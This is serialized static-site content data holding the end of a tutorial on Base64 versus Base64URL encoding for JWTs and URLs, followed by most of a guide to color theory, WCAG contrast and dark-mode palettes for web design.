JWT\n",[1560,263389,263390,263392,263395,263397,263399,263401,263403,263405,263407,263409],{"class":1562,"line":337},[1560,263391,8180],{"class":1669},[1560,263393,263394],{"class":1576}," jwtPart",[1560,263396,8186],{"class":1669},[1560,263398,43090],{"class":1566},[1560,263400,1688],{"class":1570},[1560,263402,13411],{"class":1576},[1560,263404,468],{"class":1570},[1560,263406,82298],{"class":1566},[1560,263408,260640],{"class":1570},[1560,263410,263411],{"class":1649},"\u002F\u002F May contain +, \u002F, =\n",[1560,263413,263414],{"class":1562,"line":343},[1560,263415,1702],{"emptyLinePlaceholder":363},[1560,263417,263418],{"class":1562,"line":365},[1560,263419,263420],{"class":1649},"\u002F\u002F CORRECT: Use Base64URL for JWT\n",[1560,263422,263423,263425,263427,263429,263431,263433,263435,263437,263439,263441,263443],{"class":1562,"line":889},[1560,263424,8180],{"class":1669},[1560,263426,263394],{"class":1576},[1560,263428,8186],{"class":1669},[1560,263430,254966],{"class":1566},[1560,263432,1688],{"class":1570},[1560,263434,262358],{"class":1566},[1560,263436,1688],{"class":1570},[1560,263438,13411],{"class":1576},[1560,263440,468],{"class":1570},[1560,263442,82298],{"class":1566},[1560,263444,262395],{"class":1570},[33,263446,263448],{"id":263447},"_2-forgetting-to-handle-missing-padding","2. Forgetting to Handle Missing Padding",[135,263450,263452],{"className":1607,"code":263451,"language":1609,"meta":141,"style":141},"\u002F\u002F WRONG: Assuming padding exists\nconst decoded = atob(base64urlString); \u002F\u002F May fail if no padding\n\n\u002F\u002F CORRECT: Add padding before decoding\nconst padded = base64urlString + '==='.slice((base64urlString.length + 3) % 4);\nconst decoded = atob(padded.replace(\u002F-\u002Fg, '+').replace(\u002F_\u002Fg, '\u002F'));\n",[143,263453,263454,263459,263475,263479,263484,263520],{"__ignoreMap":141},[1560,263455,263456],{"class":1562,"line":1563},[1560,263457,263458],{"class":1649},"\u002F\u002F WRONG: Assuming padding exists\n",[1560,263460,263461,263463,263465,263467,263469,263472],{"class":1562,"line":337},[1560,263462,8180],{"class":1669},[1560,263464,22986],{"class":1576},[1560,263466,8186],{"class":1669},[1560,263468,259688],{"class":1566},[1560,263470,263471],{"class":1570},"(base64urlString); ",[1560,263473,263474],{"class":1649},"\u002F\u002F May fail if no padding\n",[1560,263476,263477],{"class":1562,"line":343},[1560,263478,1702],{"emptyLinePlaceholder":363},[1560,263480,263481],{"class":1562,"line":365},[1560,263482,263483],{"class":1649},"\u002F\u002F CORRECT: Add padding before decoding\n",[1560,263485,263486,263488,263490,263492,263495,263497,263499,263501,263503,263506,263508,263510,263512,263514,263516,263518],{"class":1562,"line":889},[1560,263487,8180],{"class":1669},[1560,263489,262527],{"class":1576},[1560,263491,8186],{"class":1669},[1560,263493,263494],{"class":1570}," base64urlString ",[1560,263496,9448],{"class":1669},[1560,263498,262537],{"class":5634},[1560,263500,468],{"class":1570},[1560,263502,38951],{"class":1566},[1560,263504,263505],{"class":1570},"((base64urlString.",[1560,263507,9418],{"class":1576},[1560,263509,29002],{"class":1669},[1560,263511,48433],{"class":1576},[1560,263513,1733],{"class":1570},[1560,263515,17990],{"class":1669},[1560,263517,13574],{"class":1576},[1560,263519,1744],{"class":1570},[1560,263521,263522,263524,263526,263528,263530,263533,263535,263537,263539,263541,263543,263545,263547,263549,263551,263553,263555,263557,263559,263561,263563,263565,263567],{"class":1562,"line":1710},[1560,263523,8180],{"class":1669},[1560,263525,22986],{"class":1576},[1560,263527,8186],{"class":1669},[1560,263529,259688],{"class":1566},[1560,263531,263532],{"class":1570},"(padded.",[1560,263534,22721],{"class":1566},[1560,263536,1688],{"class":1570},[1560,263538,9423],{"class":5634},[1560,263540,9412],{"class":11919},[1560,263542,9423],{"class":5634},[1560,263544,22733],{"class":1669},[1560,263546,1459],{"class":1570},[1560,263548,89979],{"class":5634},[1560,263550,9368],{"class":1570},[1560,263552,22721],{"class":1566},[1560,263554,1688],{"class":1570},[1560,263556,9423],{"class":5634},[1560,263558,23056],{"class":11919},[1560,263560,9423],{"class":5634},[1560,263562,22733],{"class":1669},[1560,263564,1459],{"class":1570},[1560,263566,89998],{"class":5634},[1560,263568,41941],{"class":1570},[33,263570,263572],{"id":263571},"_3-double-encoding","3. Double Encoding",[135,263574,263576],{"className":1607,"code":263575,"language":1609,"meta":141,"style":141},"\u002F\u002F WRONG: Encoding already-encoded data\nconst doubleEncoded = base64ToBase64Url(base64ToBase64Url(standardBase64));\n\n\u002F\u002F CORRECT: Only encode once\nconst encoded = base64ToBase64Url(standardBase64);\n",[143,263577,263578,263583,263601,263605,263610],{"__ignoreMap":141},[1560,263579,263580],{"class":1562,"line":1563},[1560,263581,263582],{"class":1649},"\u002F\u002F WRONG: Encoding already-encoded data\n",[1560,263584,263585,263587,263589,263591,263593,263595,263598],{"class":1562,"line":337},[1560,263586,8180],{"class":1669},[1560,263588,33767],{"class":1576},[1560,263590,8186],{"class":1669},[1560,263592,254966],{"class":1566},[1560,263594,1688],{"class":1570},[1560,263596,263597],{"class":1566},"base64ToBase64Url",[1560,263599,263600],{"class":1570},"(standardBase64));\n",[1560,263602,263603],{"class":1562,"line":343},[1560,263604,1702],{"emptyLinePlaceholder":363},[1560,263606,263607],{"class":1562,"line":365},[1560,263608,263609],{"class":1649},"\u002F\u002F CORRECT: Only encode once\n",[1560,263611,263612,263614,263616,263618,263620],{"class":1562,"line":889},[1560,263613,8180],{"class":1669},[1560,263615,22961],{"class":1576},[1560,263617,8186],{"class":1669},[1560,263619,254966],{"class":1566},[1560,263621,263622],{"class":1570},"(standardBase64);\n",[11,263624,208883],{"id":161627},[193,263626,263627,263637],{},[196,263628,263629],{},[199,263630,263631,263633,263635],{},[202,263632,5867],{},[202,263634,84223],{},[202,263636,241937],{},[211,263638,263639,263654,263668,263677,263685,263694],{},[199,263640,263641,263646,263650],{},[216,263642,263643,263645],{},[143,263644,9448],{}," character",[216,263647,263648],{},[143,263649,9448],{},[216,263651,263652],{},[143,263653,9412],{},[199,263655,263656,263660,263664],{},[216,263657,263658,263645],{},[143,263659,9423],{},[216,263661,263662],{},[143,263663,9423],{},[216,263665,263666],{},[143,263667,23056],{},[199,263669,263670,263672,263674],{},[216,263671,9316],{},[216,263673,47400],{},[216,263675,263676],{},"Usually removed",[199,263678,263679,263681,263683],{},[216,263680,252900],{},[216,263682,6117],{},[216,263684,3057],{},[199,263686,263687,263690,263692],{},[216,263688,263689],{},"JWT compatible",[216,263691,6117],{},[216,263693,3057],{},[199,263695,263696,263699,263701],{},[216,263697,263698],{},"Data URI compatible",[216,263700,3057],{},[216,263702,6117],{},[16,263704,263705],{},"Base64 and Base64URL serve different purposes. Choose Base64 for general encoding and Data URIs, and Base64URL whenever the encoded data will appear in URLs, JWTs, or other URL-sensitive contexts.",[11,263707,257800],{"id":257799},[41,263709,263710,263715],{},[44,263711,263712,263713],{},"Encode and decode Base64 strings with our ",[98,263714,12162],{"href":12161},[44,263716,263717,263718],{},"Convert between Base64 and Base64URL with our ",[98,263719,263720],{"href":12161},"Base64URL Converter",[2043,263722,263723],{},"html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .s4XuR, html code.shiki .s4XuR{--shiki-default:#E36209;--shiki-dark:#FFAB70}html pre.shiki code .snhLl, html code.shiki .snhLl{--shiki-default:#22863A;--shiki-default-font-weight:bold;--shiki-dark:#85E89D;--shiki-dark-font-weight:bold}html pre.shiki code .sA_wV, html code.shiki .sA_wV{--shiki-default:#032F62;--shiki-dark:#DBEDFF}",{"title":141,"searchDepth":337,"depth":337,"links":263725},[263726,263727,263730,263734,263738,263742,263746,263751,263756,263757],{"id":256641,"depth":337,"text":2776},{"id":261701,"depth":337,"text":261702,"children":263728},[263729],{"id":261751,"depth":343,"text":261752},{"id":261877,"depth":337,"text":261878,"children":263731},[263732,263733],{"id":261884,"depth":343,"text":261885},{"id":261953,"depth":343,"text":261954},{"id":262224,"depth":337,"text":262225,"children":263735},[263736,263737],{"id":262228,"depth":343,"text":262229},{"id":262278,"depth":343,"text":262279},{"id":262429,"depth":337,"text":262430,"children":263739},[263740,263741],{"id":262433,"depth":343,"text":262434},{"id":262490,"depth":343,"text":262491},{"id":222791,"depth":337,"text":222792,"children":263743},[263744,263745],{"id":262666,"depth":343,"text":262667},{"id":262747,"depth":343,"text":262748},{"id":262885,"depth":337,"text":262886,"children":263747},[263748,263749,263750],{"id":8543,"depth":343,"text":118955},{"id":8261,"depth":343,"text":9840},{"id":39417,"depth":343,"text":9900},{"id":10392,"depth":337,"text":10393,"children":263752},[263753,263754,263755],{"id":263376,"depth":343,"text":263377},{"id":263447,"depth":343,"text":263448},{"id":263571,"depth":343,"text":263572},{"id":161627,"depth":337,"text":208883},{"id":257799,"depth":337,"text":257800},"Learn the key differences between Base64 and Base64URL encoding, including character substitutions, padding handling, and when to use each in JWT and URL contexts.",{"immutable":363},{"title":261688,"description":263758},"guides\u002Fbase64url-difference","T_R00ARISQ-u3USyHW-Gw6w9w4w8NKMIIQPb74QXTo4",{"id":263764,"title":263765,"body":263766,"date":257855,"description":265375,"extension":361,"meta":265376,"navigation":363,"path":265377,"readingTime":2534,"seo":265378,"stem":265379,"__hash__":265380},"guides\u002Fguides\u002Fcolor-theory-web-design.md","Color Theory for Web Design — Complete Guide",{"type":8,"value":263767,"toc":265332},[263768,263772,263775,263778,263782,263785,263789,263792,263806,263809,263811,263814,263831,263833,263836,263841,263845,263848,263852,263855,263859,263870,263875,263886,263890,263893,263897,263905,263909,263920,263924,263927,263931,263939,263943,263954,263958,263961,263965,263976,263980,263983,263988,264006,264010,264021,264023,264026,264028,264070,264074,264077,264148,264152,264165,264169,264172,264267,264272,264276,264279,264283,264286,264299,264303,264306,264312,264316,264319,264332,264423,264427,264430,264441,264443,264446,264497,264501,264504,264508,264534,264538,264600,264604,264621,264696,264700,264704,264707,264711,264714,264718,264721,264791,264795,264798,264802,264805,264809,264812,265313,265316,265319,265322,265324,265329],[11,263769,263771],{"id":263770},"why-color-theory-matters-in-web-design","Why Color Theory Matters in Web Design",[16,263773,263774],{},"Color is one of the most powerful tools in a web designer's arsenal. It influences user emotions, guides attention, establishes brand identity, and affects conversion rates. Yet many developers and designers choose colors based on personal preference rather than established color theory principles.",[16,263776,263777],{},"Understanding color theory helps you create purposeful, accessible, and visually harmonious websites. It transforms color selection from guesswork into a systematic process that serves both aesthetic and functional goals.",[11,263779,263781],{"id":263780},"the-color-wheel-your-foundation","The Color Wheel: Your Foundation",[16,263783,263784],{},"The color wheel is a circular diagram that organizes colors based on their chromatic relationship. The modern color wheel is based on Sir Isaac Newton's 1704 discovery that white light splits into a spectrum of colors when passed through a prism.",[33,263786,263788],{"id":263787},"primary-colors","Primary Colors",[16,263790,263791],{},"In digital design (using light, not pigment), the primary colors are:",[41,263793,263794,263798,263802],{},[44,263795,263796,91126],{},[47,263797,4275],{},[44,263799,263800,91131],{},[47,263801,4247],{},[44,263803,263804,91136],{},[47,263805,4289],{},[16,263807,263808],{},"All other colors on screens are created by mixing these three primary colors at different intensities.",[33,263810,91140],{"id":91139},[16,263812,263813],{},"Secondary colors are created by mixing two primary colors in equal amounts:",[41,263815,263816,263821,263826],{},[44,263817,263818,263820],{},[47,263819,29281],{}," = Red + Green (#FFFF00)",[44,263822,263823,263825],{},[47,263824,29257],{}," = Green + Blue (#00FFFF)",[44,263827,263828,263830],{},[47,263829,29269],{}," = Blue + Red (#FF00FF)",[33,263832,91164],{"id":91163},[16,263834,263835],{},"Tertiary colors are created by mixing a primary color with an adjacent secondary color:",[41,263837,263838],{},[44,263839,263840],{},"Red-Orange, Yellow-Orange, Yellow-Green, Blue-Green, Blue-Violet, Red-Violet",[11,263842,263844],{"id":263843},"color-harmony-creating-pleasing-combinations","Color Harmony: Creating Pleasing Combinations",[16,263846,263847],{},"Color harmony refers to aesthetically pleasing color combinations based on the color wheel. These formulas have been used by artists for centuries and apply equally to web design.",[33,263849,263851],{"id":263850},"complementary-colors","Complementary Colors",[16,263853,263854],{},"Complementary colors sit opposite each other on the color wheel. They create high contrast and vibrant looks when used together.",[16,263856,263857],{},[47,263858,112278],{},[41,263860,263861,263864,263867],{},[44,263862,263863],{},"Red (#FF0000) and Cyan (#00FFFF)",[44,263865,263866],{},"Blue (#0000FF) and Yellow (#FFFF00)",[44,263868,263869],{},"Green (#00FF00) and Magenta (#FF00FF)",[16,263871,263872],{},[47,263873,263874],{},"Usage tips:",[41,263876,263877,263880,263883],{},[44,263878,263879],{},"Use one as the dominant color and the other as an accent",[44,263881,263882],{},"Avoid using full saturation for both colors simultaneously (can be jarring)",[44,263884,263885],{},"Perfect for call-to-action buttons that need to stand out",[33,263887,263889],{"id":263888},"analogous-colors","Analogous Colors",[16,263891,263892],{},"Analogous colors are adjacent to each other on the color wheel (within 30-60 degrees). They create serene, comfortable designs with low contrast.",[16,263894,263895],{},[47,263896,112278],{},[41,263898,263899,263902],{},[44,263900,263901],{},"Blue, Blue-Green, Green",[44,263903,263904],{},"Red, Red-Orange, Orange",[16,263906,263907],{},[47,263908,263874],{},[41,263910,263911,263914,263917],{},[44,263912,263913],{},"Choose one dominant color, one supporting color, and one accent",[44,263915,263916],{},"Great for backgrounds and subtle gradients",[44,263918,263919],{},"Less effective for highlighting important elements",[33,263921,263923],{"id":263922},"triadic-colors","Triadic Colors",[16,263925,263926],{},"Triadic color schemes use three colors equally spaced around the color wheel (120 degrees apart). They offer strong visual contrast while maintaining harmony.",[16,263928,263929],{},[47,263930,112278],{},[41,263932,263933,263936],{},[44,263934,263935],{},"Red, Yellow, Blue (primary triad)",[44,263937,263938],{},"Green, Orange, Purple (secondary triad)",[16,263940,263941],{},[47,263942,263874],{},[41,263944,263945,263948,263951],{},[44,263946,263947],{},"Let one color dominate and use the other two as accents",[44,263949,263950],{},"Works well for diverse content areas",[44,263952,263953],{},"Can be challenging to balance—test carefully",[33,263955,263957],{"id":263956},"split-complementary-colors","Split-Complementary Colors",[16,263959,263960],{},"A variation of complementary colors: instead of using the direct opposite, use the two colors adjacent to the complement. This provides high contrast with less tension.",[16,263962,263963],{},[47,263964,28745],{},[41,263966,263967,263970,263973],{},[44,263968,263969],{},"Base: Blue",[44,263971,263972],{},"Complement: Orange",[44,263974,263975],{},"Split: Yellow-Orange and Red-Orange",[33,263977,263979],{"id":263978},"monochromatic-colors","Monochromatic Colors",[16,263981,263982],{},"Monochromatic schemes use different shades, tints, and tones of a single color. They're elegant, cohesive, and easy to implement.",[16,263984,263985],{},[47,263986,263987],{},"Creating variations:",[41,263989,263990,263995,264001],{},[44,263991,263992,263994],{},[47,263993,31780],{},": Add black (reduce lightness in HSL)",[44,263996,263997,264000],{},[47,263998,263999],{},"Tint",": Add white (increase lightness in HSL)",[44,264002,264003,264005],{},[47,264004,6492],{},": Add gray (reduce saturation in HSL)",[16,264007,264008],{},[47,264009,263874],{},[41,264011,264012,264015,264018],{},[44,264013,264014],{},"Perfect for minimalist designs",[44,264016,264017],{},"Create depth with lightness variations",[44,264019,264020],{},"Add a single contrasting accent color for important elements",[11,264022,91369],{"id":91368},[16,264024,264025],{},"Color contrast is not just a design consideration—it's a legal requirement in many jurisdictions. The Web Content Accessibility Guidelines (WCAG) define minimum contrast ratios for text readability.",[33,264027,3279],{"id":3278},[193,264029,264030,264040],{},[196,264031,264032],{},[199,264033,264034,264036,264038],{},[202,264035,3291],{},[202,264037,171873],{},[202,264039,1775],{},[211,264041,264042,264051,264061],{},[199,264043,264044,264046,264048],{},[216,264045,3946],{},[216,264047,3310],{},[216,264049,264050],{},"Normal text (less than 18pt)",[199,264052,264053,264056,264058],{},[216,264054,264055],{},"AA (large text)",[216,264057,3313],{},[216,264059,264060],{},"Large text (18pt+ or 14pt+ bold)",[199,264062,264063,264065,264067],{},[216,264064,3320],{},[216,264066,3323],{},[216,264068,264069],{},"Enhanced accessibility",[33,264071,264073],{"id":264072},"testing-contrast","Testing Contrast",[16,264075,264076],{},"Always test your color combinations:",[135,264078,264080],{"className":1554,"code":264079,"language":1556,"meta":141,"style":141},"\u002F* Good contrast example *\u002F\nbackground: #FFFFFF;  \u002F* White *\u002F\ncolor: #1A1A1A;      \u002F* Near-black *\u002F\n\u002F* Contrast ratio: 17.8:1 - Excellent *\u002F\n\n\u002F* Poor contrast example *\u002F\nbackground: #F0F0F0; \u002F* Light gray *\u002F\ncolor: #B0B0B0;      \u002F* Medium gray *\u002F\n\u002F* Contrast ratio: 2.1:1 - Fails WCAG *\u002F\n",[143,264081,264082,264087,264097,264109,264114,264118,264123,264133,264143],{"__ignoreMap":141},[1560,264083,264084],{"class":1562,"line":1563},[1560,264085,264086],{"class":1649},"\u002F* Good contrast example *\u002F\n",[1560,264088,264089,264091,264094],{"class":1562,"line":337},[1560,264090,5156],{"class":1570},[1560,264092,264093],{"class":5159},"#FFFFFF;",[1560,264095,264096],{"class":1649},"  \u002F* White *\u002F\n",[1560,264098,264099,264101,264104,264106],{"class":1562,"line":343},[1560,264100,113547],{"class":1570},[1560,264102,264103],{"class":5159},"#1A1A1A",[1560,264105,58831],{"class":1570},[1560,264107,264108],{"class":1649},"\u002F* Near-black *\u002F\n",[1560,264110,264111],{"class":1562,"line":365},[1560,264112,264113],{"class":1649},"\u002F* Contrast ratio: 17.8:1 - Excellent *\u002F\n",[1560,264115,264116],{"class":1562,"line":889},[1560,264117,1702],{"emptyLinePlaceholder":363},[1560,264119,264120],{"class":1562,"line":1710},[1560,264121,264122],{"class":1649},"\u002F* Poor contrast example *\u002F\n",[1560,264124,264125,264127,264130],{"class":1562,"line":1717},[1560,264126,5156],{"class":1570},[1560,264128,264129],{"class":5159},"#F0F0F0;",[1560,264131,264132],{"class":1649}," \u002F* Light gray *\u002F\n",[1560,264134,264135,264137,264140],{"class":1562,"line":1747},[1560,264136,113547],{"class":1570},[1560,264138,264139],{"class":5159},"#B0B0B0;",[1560,264141,264142],{"class":1649},"      \u002F* Medium gray *\u002F\n",[1560,264144,264145],{"class":1562,"line":2507},[1560,264146,264147],{"class":1649},"\u002F* Contrast ratio: 2.1:1 - Fails WCAG *\u002F\n",[33,264149,264151],{"id":264150},"tools-for-checking-contrast","Tools for Checking Contrast",[41,264153,264154,264157,264160],{},[44,264155,264156],{},"Browser DevTools (many now include contrast checkers)",[44,264158,264159],{},"Online contrast checkers",[44,264161,15029,264162,264164],{},[98,264163,18588],{"href":18587}," tool",[11,264166,264168],{"id":264167},"color-psychology-in-web-design","Color Psychology in Web Design",[16,264170,264171],{},"Colors evoke emotions and associations. Understanding these can help you choose colors that align with your brand and message.",[193,264173,264174,264185],{},[196,264175,264176],{},[199,264177,264178,264180,264183],{},[202,264179,4231],{},[202,264181,264182],{},"Common Associations",[202,264184,489],{},[211,264186,264187,264197,264207,264217,264227,264237,264247,264257],{},[199,264188,264189,264191,264194],{},[216,264190,4275],{},[216,264192,264193],{},"Urgency, passion, danger, excitement",[216,264195,264196],{},"Sales, warnings, call-to-action buttons",[199,264198,264199,264201,264204],{},[216,264200,4289],{},[216,264202,264203],{},"Trust, professionalism, calm, stability",[216,264205,264206],{},"Corporate sites, finance, healthcare",[199,264208,264209,264211,264214],{},[216,264210,4247],{},[216,264212,264213],{},"Growth, health, money, nature",[216,264215,264216],{},"Environmental sites, finance, success states",[199,264218,264219,264221,264224],{},[216,264220,29281],{},[216,264222,264223],{},"Optimism, warmth, caution, energy",[216,264225,264226],{},"Highlights, warnings, cheerful brands",[199,264228,264229,264231,264234],{},[216,264230,113755],{},[216,264232,264233],{},"Creativity, enthusiasm, affordability",[216,264235,264236],{},"Call-to-action, playful brands",[199,264238,264239,264241,264244],{},[216,264240,155433],{},[216,264242,264243],{},"Luxury, wisdom, mystery, royalty",[216,264245,264246],{},"Premium products, creative agencies",[199,264248,264249,264251,264254],{},[216,264250,28541],{},[216,264252,264253],{},"Sophistication, luxury, power, mystery",[216,264255,264256],{},"Luxury brands, minimalist designs",[199,264258,264259,264261,264264],{},[216,264260,30083],{},[216,264262,264263],{},"Purity, simplicity, cleanliness, space",[216,264265,264266],{},"Minimalist designs, medical sites",[16,264268,264269,264271],{},[47,264270,62341],{},": Color associations vary by culture. Research your target audience's cultural context when designing for international users.",[11,264273,264275],{"id":264274},"creating-a-color-palette-for-your-website","Creating a Color Palette for Your Website",[16,264277,264278],{},"Follow this systematic approach to build a cohesive color scheme:",[33,264280,264282],{"id":264281},"step-1-choose-a-primary-color","Step 1: Choose a Primary Color",[16,264284,264285],{},"Select one color that represents your brand or the website's purpose. This will be used for:",[41,264287,264288,264291,264293,264296],{},[44,264289,264290],{},"Primary buttons",[44,264292,148028],{},[44,264294,264295],{},"Key headings",[44,264297,264298],{},"Brand elements",[33,264300,264302],{"id":264301},"step-2-build-a-monochromatic-scale","Step 2: Build a Monochromatic Scale",[16,264304,264305],{},"Create 5-7 variations of your primary color at different lightness levels:",[135,264307,264310],{"className":264308,"code":264309,"language":140},[138],"--primary-50:  hsl(200, 100%, 95%);  \u002F* Very light *\u002F\n--primary-100: hsl(200, 100%, 85%);\n--primary-200: hsl(200, 100%, 70%);\n--primary-300: hsl(200, 100%, 55%);\n--primary-400: hsl(200, 100%, 40%);  \u002F* Base *\u002F\n--primary-500: hsl(200, 100%, 30%);\n--primary-600: hsl(200, 100%, 20%);  \u002F* Very dark *\u002F\n",[143,264311,264309],{"__ignoreMap":141},[33,264313,264315],{"id":264314},"step-3-add-neutral-colors","Step 3: Add Neutral Colors",[16,264317,264318],{},"Grays and near-grays for:",[41,264320,264321,264323,264326,264329],{},[44,264322,4116],{},[44,264324,264325],{},"Text (never pure black—use dark gray)",[44,264327,264328],{},"Borders",[44,264330,264331],{},"Disabled states",[135,264333,264335],{"className":1554,"code":264334,"language":1556,"meta":141,"style":141},"--gray-50:  #F9FAFB;\n--gray-100: #F3F4F6;\n--gray-200: #E5E7EB;\n--gray-300: #D1D5DB;\n--gray-400: #9CA3AF;\n--gray-500: #6B7280;\n--gray-600: #4B5563;\n--gray-700: #374151;\n--gray-800: #1F2937;\n--gray-900: #111827;\n",[143,264336,264337,264344,264352,264360,264368,264377,264386,264396,264405,264414],{"__ignoreMap":141},[1560,264338,264339,264342],{"class":1562,"line":1563},[1560,264340,264341],{"class":1570},"--gray-50:  ",[1560,264343,32030],{"class":5159},[1560,264345,264346,264349],{"class":1562,"line":337},[1560,264347,264348],{"class":1570},"--gray-100: ",[1560,264350,264351],{"class":5159},"#F3F4F6;\n",[1560,264353,264354,264357],{"class":1562,"line":343},[1560,264355,264356],{"class":1570},"--gray-200: ",[1560,264358,264359],{"class":5159},"#E5E7EB;\n",[1560,264361,264362,264365],{"class":1562,"line":365},[1560,264363,264364],{"class":1570},"--gray-300: ",[1560,264366,264367],{"class":5159},"#D1D5DB;\n",[1560,264369,264370,264373,264375],{"class":1562,"line":889},[1560,264371,264372],{"class":1570},"--gray-400: ",[1560,264374,40088],{"class":5159},[1560,264376,2228],{"class":1570},[1560,264378,264379,264382,264384],{"class":1562,"line":1710},[1560,264380,264381],{"class":1570},"--gray-500: ",[1560,264383,40112],{"class":5159},[1560,264385,2228],{"class":1570},[1560,264387,264388,264391,264394],{"class":1562,"line":1717},[1560,264389,264390],{"class":1570},"--gray-600: ",[1560,264392,264393],{"class":5159},"#4B5563",[1560,264395,2228],{"class":1570},[1560,264397,264398,264401,264403],{"class":1562,"line":1747},[1560,264399,264400],{"class":1570},"--gray-700: ",[1560,264402,4065],{"class":5159},[1560,264404,2228],{"class":1570},[1560,264406,264407,264410,264412],{"class":1562,"line":2507},[1560,264408,264409],{"class":1570},"--gray-800: ",[1560,264411,91698],{"class":5159},[1560,264413,2228],{"class":1570},[1560,264415,264416,264419,264421],{"class":1562,"line":2524},[1560,264417,264418],{"class":1570},"--gray-900: ",[1560,264420,4049],{"class":5159},[1560,264422,2228],{"class":1570},[33,264424,264426],{"id":264425},"step-4-select-accent-colors","Step 4: Select Accent Colors",[16,264428,264429],{},"Choose 1-2 colors that complement your primary color:",[41,264431,264432,264435,264438],{},[44,264433,264434],{},"Use analogous colors for harmony",[44,264436,264437],{},"Use complementary colors for contrast (sparingly)",[44,264439,264440],{},"Ensure sufficient contrast with your backgrounds",[33,264442,91618],{"id":91617},[16,264444,264445],{},"Colors with specific meanings:",[135,264447,264449],{"className":1554,"code":264448,"language":1556,"meta":141,"style":141},"--success: #10B981;   \u002F* Green *\u002F\n--warning: #F59E0B;   \u002F* Amber *\u002F\n--error:   #EF4444;   \u002F* Red *\u002F\n--info:    #3B82F6;   \u002F* Blue *\u002F\n",[143,264450,264451,264463,264474,264485],{"__ignoreMap":141},[1560,264452,264453,264456,264458,264460],{"class":1562,"line":1563},[1560,264454,264455],{"class":1570},"--success: ",[1560,264457,18255],{"class":5159},[1560,264459,3491],{"class":1570},[1560,264461,264462],{"class":1649},"\u002F* Green *\u002F\n",[1560,264464,264465,264468,264471],{"class":1562,"line":337},[1560,264466,264467],{"class":1570},"--warning: ",[1560,264469,264470],{"class":5159},"#F59E0B;",[1560,264472,264473],{"class":1649},"   \u002F* Amber *\u002F\n",[1560,264475,264476,264479,264482],{"class":1562,"line":343},[1560,264477,264478],{"class":1570},"--error:   ",[1560,264480,264481],{"class":5159},"#EF4444;",[1560,264483,264484],{"class":1649},"   \u002F* Red *\u002F\n",[1560,264486,264487,264490,264492,264494],{"class":1562,"line":365},[1560,264488,264489],{"class":1570},"--info:    ",[1560,264491,2260],{"class":5159},[1560,264493,3491],{"class":1570},[1560,264495,264496],{"class":1649},"\u002F* Blue *\u002F\n",[11,264498,264500],{"id":264499},"dark-mode-design-considerations","Dark Mode Design Considerations",[16,264502,264503],{},"Dark mode has become essential for modern websites. Designing for dark mode requires more than inverting colors.",[33,264505,264507],{"id":264506},"dark-mode-principles","Dark Mode Principles",[77,264509,264510,264516,264522,264528],{},[44,264511,264512,264515],{},[47,264513,264514],{},"Avoid pure black backgrounds",": Use dark gray (#121212 or similar) to reduce eye strain",[44,264517,264518,264521],{},[47,264519,264520],{},"Desaturate colors",": Colors appear more vibrant on dark backgrounds—reduce saturation slightly",[44,264523,264524,264527],{},[47,264525,264526],{},"Increase lightness",": Colors need to be lighter to achieve the same visual weight",[44,264529,264530,264533],{},[47,264531,264532],{},"Test all interactions",": Hover states, focus rings, and active states need adjustment",[33,264535,264537],{"id":264536},"dark-mode-color-adjustments","Dark Mode Color Adjustments",[135,264539,264541],{"className":1554,"code":264540,"language":1556,"meta":141,"style":141},"\u002F* Light mode *\u002F\n--primary: hsl(200, 100%, 50%);\n\n\u002F* Dark mode adjustment *\u002F\n.dark {\n  --primary: hsl(200, 80%, 65%);  \u002F* Lighter, less saturated *\u002F\n}\n",[143,264542,264543,264547,264552,264556,264561,264567,264596],{"__ignoreMap":141},[1560,264544,264545],{"class":1562,"line":1563},[1560,264546,31984],{"class":1649},[1560,264548,264549],{"class":1562,"line":337},[1560,264550,264551],{"class":1570},"--primary: hsl(200, 100%, 50%);\n",[1560,264553,264554],{"class":1562,"line":343},[1560,264555,1702],{"emptyLinePlaceholder":363},[1560,264557,264558],{"class":1562,"line":365},[1560,264559,264560],{"class":1649},"\u002F* Dark mode adjustment *\u002F\n",[1560,264562,264563,264565],{"class":1562,"line":889},[1560,264564,4355],{"class":1566},[1560,264566,1571],{"class":1570},[1560,264568,264569,264571,264573,264575,264577,264579,264581,264583,264585,264587,264589,264591,264593],{"class":1562,"line":1710},[1560,264570,52548],{"class":2219},[1560,264572,1663],{"class":1570},[1560,264574,50903],{"class":1576},[1560,264576,1688],{"class":1570},[1560,264578,18101],{"class":1576},[1560,264580,1459],{"class":1570},[1560,264582,5321],{"class":1576},[1560,264584,17990],{"class":1669},[1560,264586,1459],{"class":1570},[1560,264588,4836],{"class":1576},[1560,264590,17990],{"class":1669},[1560,264592,14724],{"class":1570},[1560,264594,264595],{"class":1649},"\u002F* Lighter, less saturated *\u002F\n",[1560,264597,264598],{"class":1562,"line":1717},[1560,264599,1585],{"class":1570},[33,264601,264603],{"id":264602},"dark-mode-best-practices","Dark Mode Best Practices",[41,264605,264606,264609,264612,264615],{},[44,264607,264608],{},"Maintain the same visual hierarchy as light mode",[44,264610,264611],{},"Ensure all text meets WCAG contrast requirements in dark mode",[44,264613,264614],{},"Test with different types of content (images, videos, embeds)",[44,264616,264617,264618,264620],{},"Consider user preferences: respect ",[143,264619,169423],{}," media 